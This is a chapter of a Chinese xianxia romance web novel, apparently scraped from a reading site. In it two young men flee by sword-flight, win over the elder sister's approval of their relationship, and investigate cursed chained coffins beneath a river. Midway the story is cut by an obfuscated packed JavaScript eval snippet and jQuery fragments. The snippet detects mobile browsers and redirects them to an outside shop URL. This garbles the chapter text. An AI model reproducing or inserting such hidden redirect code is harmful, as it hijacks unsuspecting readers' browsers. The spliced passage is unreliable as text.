41. 劈山为堑

作品:《天降小神仙

    白栩手脚并用,牢牢地攀在段尚清身上,胸腔里的心跳步步紧逼。


    因着倒悬下坠,浑身血液涌到头顶,白栩眼前一阵阵发黑,感官被恐惧淹没,只剩下被汹涌的水声灌满了的耳腔还在孜孜不倦地警醒他,他们在跳崖。


    逼人的寒气直剐人皮,段尚清紧紧揽住白栩,见他整个人抖若筛糠,悄悄低头在他耳廓呢喃:“锦爻,抬头看我。”


    白栩浑身发抖,眼眶殷红,声音哽咽:“我不是不相信你,我是太害怕了。”


    段尚清知他心意,用指腹摩挲那微微颤动的眼皮,解释道:“等我们下坠到江面上再御剑,借着水雾遮挡,虞子煊看不到我们,不然一下腾飞到空中,会成活靶子。”


    “嗯。”白栩将头埋在段尚清的脖颈里,心脏稍稍安定。


    段尚清一定会护好自己,他始终坚信不疑。


    眼见波涛汹涌的江面近在咫尺,段尚清低声诵咒,“噌”地一声,腰间佩剑凌空出鞘,银白的剑身在云雾间划出惊鸿之影,仿若一道白日霹雳。


    段尚清抱紧白栩,踩着云雾借力,轻巧地翻转一圈,稳稳站在剑身上。


    “好了,我们站在剑上,不怕了。”段尚清捧起白栩略带苍白的脸,冲他宽慰一笑,悄悄向四周望去,趁着云雾弥漫,一片朦胧乳白,他低头一吻落在白栩的唇上,感受到白栩唇上传来的颤抖和冰凉,知他仍是后怕,便用了些力,让两人贴得紧了些。


    白栩仰着头,随着段尚清安抚的力道和后颈的抚摸,终于安下心来。


    雨雾将他的碎发沁湿,两人咫尺相望,呼吸的热浪扑打在脸庞,心跳渐渐交融。


    花千续那不合时宜的身影不知何时从雾气中显现,他先是咳了一声表示自己的存在,见两少年迅速分开,面色羞赧地低着头像做了错事,忍不住大笑几声,凑过来调侃:“你们俩的事,告诉家里人了么?”


    白栩摇摇头,他至今都没想好怎么说。


    段尚清却一片澄心,认真道:“等一切尘埃落定,我会告诉爹娘,也会竭尽全力征求白伯伯和莫夫人的同意。”他握紧白栩的手,信誓旦旦,“我说到做到。”


    少年说得真诚感人,对花千续这只老狐狸却不受用,他擎着一脸坏笑,苍白的指头向两人身后的雾气一指:“你俩想太远了,眼下是不是应该先争取到白大姑娘的同意呢?”


    白栩浑身一僵,紧接着就听见另一声咳声响起,这一声明显更具威严,更骇人听闻。


    “别以为我一路上什么都看不出来。”白珏踩着剑从白雾中划出,姚靖跟在她身后,双手合十为他俩祈祷。


    “姐……”白栩实在心虚,“你都知道了,能不能别骂我们?”


    白珏冷眼一剐,哼笑一声:“好一个先斩后奏,先行后闻,菜都吃一半了,才告诉我要开饭了,生米煮成熟饭了,才想起来告诉我你们私定终身了?是不是太不拿我当回事了?”


    “什么煮成熟饭,白步月你真粗鲁……”白栩没底气地顶嘴。


    白珏长臂一伸,一把拧住白栩的耳朵:“你有理没理?”


    段尚清既心疼白栩的耳朵,也不敢触怒白珏,两相环顾,憋出了一脸的自责,他轻轻地将白珏的手从白栩耳朵上扯下来,将白栩护在身后,恭恭敬敬地作了一揖:“都是尚清自作多情,死缠烂打,才让阿栩同意,步月女侠尽可冲着尚清算账,尚清绝无异议。”


    白珏冷言道:“你现在倒是敢做敢担当,怎么一开始不敢挑明?”


    “尚清与阿栩定下心意之时,白伯伯与莫夫人已去了临安,步月女侠也为了巡查纸人术离了江州,故而错失良机,没能早些告知。”段尚清恭恭敬敬,却不卑不亢,说清缘由。


    白珏又逼问:“那我与你们在玉县相聚,为何还不说?”


    段尚清正要开口,白栩赶紧把他扒拉到一边,他已经备好一张楚楚可怜的脸,假装重心不稳,摔在白珏身上,趁白珏下意识地抱住他,一下张开双臂,紧紧抱住正烧着怒火的姐姐,耍无赖似的撒娇:“我们哪敢说呀……你一直都凶巴巴的,我怕你不同意,不让我们在一起了,你武功那么厉害,我俩加一起都打不过你,要是你把我们吊起来打怎么办呀……”


    他说得可怜巴巴,甚至挤出了两滴眼泪来:“姐姐……是我对不起你,你不要因为这件事生气好不好,我们俩是真心的。”


    白珏毫不留情地一巴掌拍在白栩屁股上,白栩“嗷”地一声弹跳起来,差点真的栽到水里去,还是段尚清眼疾手快把他捞上来,紧紧抱在怀里。


    白栩冲着段尚清耳语:“我姐吃软不吃硬。”


    段尚清一下就明白,立马跟着白栩一起摆出可怜的神情来,学着白栩的语气哀求:“步月女侠……”


    他时常冲白栩撒娇,能把白栩降住的本事,白珏自然抵挡不过。


    两双眼巴巴的狗狗眼直望过来,白珏心软了大半,她本就无意棒打鸳鸯——按理说应是棒打鸳鸳——这俩人再一求,气都快消了。


    她清楚段家的为人,忠心无二,一条路走到黑,段尚清若是真心对小栩,她倒也放心。


    叹了口气,一回头,才见身后还有一只楚楚可怜的小狗摇着尾巴一起求。


    “你们三个……算了。”白珏一手一个脑袋使劲呼噜毛儿,“你们真是把我看得太坏了!”


    “对不住嘛,姐姐,你最好了,你是天底下最好的姐姐。”白栩垂着脑袋,一个劲儿地说好话,笑得比谁都甜。


    段尚清也被顺手揉了脑袋,他第一次与白珏如此亲近,心中荡起家人的温暖,不禁红了脸:“多谢步月女侠成全。”


    白栩偷瞟段尚清,段尚清也偷偷看他,两人红着耳尖,悄悄勾住指头。


    说话间,翎徕从水中冒出头来:“水底下有棺材。”


    白栩几乎要对“棺材”和“纸人”免疫了,走哪儿都能碰到,见翎徕似乎很在意,便问:“要我们一起打捞出来么?”


    翎徕点点头,面色凝重:“不好弄。”


    白栩拉住段尚清的手:“我们俩下去看看。”


    两人一起跳下剑,率先潜入江底,冰冷的水漫过头顶,寒气侵入骨髓。


    深蓝色的水波中,数口由黑锁链绑在一起的棺材悬在水中央,明明无所依凭,却能不坠江底,大概是秘术所致。


    白栩憋着气,游过去扯扯锁链,才一碰到,手却像被烫到似的,钻心的疼,他反射地缩回手,一把拽住段尚清的胳膊,冲他摇摇头。


    两人相携浮出水面,白栩大喘口气,道:“数不清的棺材,都用黑铁链锁在一起,像是被施了咒法,那铁链碰不得。”


    白栩展开手掌给众人看,伤口呈无序撕裂状,像是炸伤,范围不过半个掌心大小,血却流了不少,滴滴溅落在江面上。


    段尚清蹙着眉给他包扎,才哄好的人这下又自责地生闷气了,白栩照样逗逗他鼓起的脸颊,被一双低垂的含泪琥珀眼给看酥了半截身子。


    他拉着段尚清游到一旁,背着众人,把他拉下来亲了亲:“是我自己碰到了,要怪也怪我,别蹙着眉头了,好不好?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365495|199819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段尚清叹了口气,将脑袋枕在白栩肩上:“我怎么总是护不好你……”


    白栩拍拍他的脊背,顺毛捋道:“你对护着我的要求也太苛刻了,我们在追查络玥族的行踪,又在逃命,哪能一点伤都不受,你再手眼通天,也不能时时刻刻护我周全,只要我不死,你就是大功劳,毕竟我一点武艺也不通,一路上都得仰仗你不是?”


    经这一劝,段尚清心里好受了些,转着湿漉漉的脑袋蹭白栩的脖颈,清凌凌的眸子里多了些柔软与依赖:“你最会哄我。”


    白栩理理他额角凌乱的碎发:“是你好哄。”


    趁他俩腻歪间,剩下的三人一个一个钻下水,试图将那铁索破掉,可惜没人成功,那铁锁不知被施了什么妖法,刀劈不断,斧砍不破,再加之沉在水下,火、雷等法术全都用不上,一行人身怀绝技,却在这小小锁链上无计可施。


    白栩盯着水面,忽地灵光一现,既然都有锁链,那风城中捆着天上游魂的铁索与水下的铁索,是否出自同一人的手笔?


    他凑到段尚清耳边轻声道:“我在风城见到过差不多的铁索。”


    段尚清也低声问:“在鬼遮眼那时见到的,对么?”


    白栩点头。


    段尚清向悬崖上望去:“不知虞子煊有没有撤走,今夜我带你上去看看,若无人,我们再潜入风城看看。”


    主意定下,只待夜色降临。


    河宽百余丈,六人御剑至岸边,本以为是宽阔地界,不料又是一座千仞断崖挡在前头。


    “莫非此处本是个山谷?”白栩环望一圈,抬手摸摸崖壁,“那当初居于风城的那一支络玥族是怎么迁徙过来的?蛊虫还有能带人腾云驾雾的神功不成?”


    翎徕果断道:“没有。”


    花千续拍拍白栩的肩:“我看这山是被生生劈开的,倒是很像你爷爷的手笔。”


    “定山诀?”白栩先是一懵,而后想到这一行里有个人会这招数,便大声招呼,“姐——”


    白珏正和姚靖在一旁晾衣服,闻言走到他们身边:“怎么了?”


    “定山诀能劈开这样一座山么?”


    白珏眼角抽了抽,无奈一笑,手指在沿着断崖上绕了个圈:“这峡谷前后都不见头,你姐我得再练个十年八年才能做到。”


    “那如果是爷爷呢?”


    白珏的笑僵在脸上:“确实可能,你们认为——”


    “不错,我们怀疑上三家三十年多前便来过此地,甚至为了不让中原人再去侵扰西域百族,将此山一剑劈开,以做天堑。”花千续看向白珏,“我毕竟不是江南玄门的人,师父从未与我说过上三家的往事,白姑娘,你爹可曾与你说过他们到过居庸关或是敖北山?”


    “不曾。”白珏叹了口气,“爹从不与我多说,他觉得老一辈的事不必牵扯到孩子身上,只让我知道该知道的,我只比小栩多知道一点,当年真相如何,一概不曾听闻。”


    花千续亦是无奈:“你爹也是好心,谁承想能半路杀出个虞惑呢?他以为这一切至少能终结在他们那一代,不曾想还是殃及了你们。”


    段尚清一旁听着,忽地道:“这一路人多事杂,倒是忘记问了,你们可知杀进风城的那一伙贼人是谁?”


    “申屠族。”白珏脱口而出,“怎么想起问这个?”


    段尚清看了眼白栩,接着道:“我与阿栩曾见到过申屠族人的尸体,是在江州若寒城绛鹊山镇邪庙内的金佛底下,若是上三家曾来此剿匪,申屠族的尸体又怎会出现在江州?”